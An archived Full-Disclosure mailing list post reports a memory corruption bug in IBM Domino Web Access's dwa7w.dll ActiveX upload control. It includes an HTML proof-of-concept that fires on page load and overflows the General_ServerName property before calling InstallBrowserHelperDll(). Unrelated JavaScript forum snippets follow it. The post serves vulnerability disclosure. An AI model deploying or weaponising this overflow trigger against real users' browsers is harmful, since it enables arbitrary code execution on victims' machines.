[Full-disclosure] IBM Domino Web Access Upload Control dwa7w.dll Memory Corruption



The Domino Web Access Upload Module version 7.0.34.1 seems to suffer from a memory corruption issue that may allow the execution of arbitrary code. By setting the General_ServerName property and calling the InstallBrowserHelperDll() function it MAY be possible to control the ECX register and thereby control the EIP. PoC as follows:

-------------------
<!--
written by e.b.
-->
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = 'A';

while (s.length <= 12000) s = s + 'A';

obj.General_ServerName = s;
obj.InstallBrowserHelperDll();

}
</script>

</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:E008A543-CEFB-4559-912F-C27C2B89F13B" />
</object>
</body>
</html>
-------------------


Elazar

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



Relevant Pages

  • Re: Help with two page form
    ... <HTML> ... <HEAD> ... function load1() { ... var load1 = window.open('http://www.webdesignsbyjc.com/DBSample/ ...
    (comp.lang.php)
  • Help with two page form
    ... <HTML> ... <HEAD> ... function load1() { ... var load1 = window.open('http://www.webdesignsbyjc.com/DBSample/ ...
    (comp.lang.php)
  • Re: Page action
    ... var d = new Date; ... I was totally mindless of forgetting the "function" key word... ...
    (comp.lang.javascript)
  • Re: Why does textarea.value= not work
    ... I have never had a textarea content change, in any browser. ... var x = obj.form.bigbox; ...
    (comp.lang.javascript)
  • Re: hasAttribute equivalent for IE
    ... var el = document.getElementById; ... the onload alert shows 'function' not 'string', ...
    (comp.lang.javascript)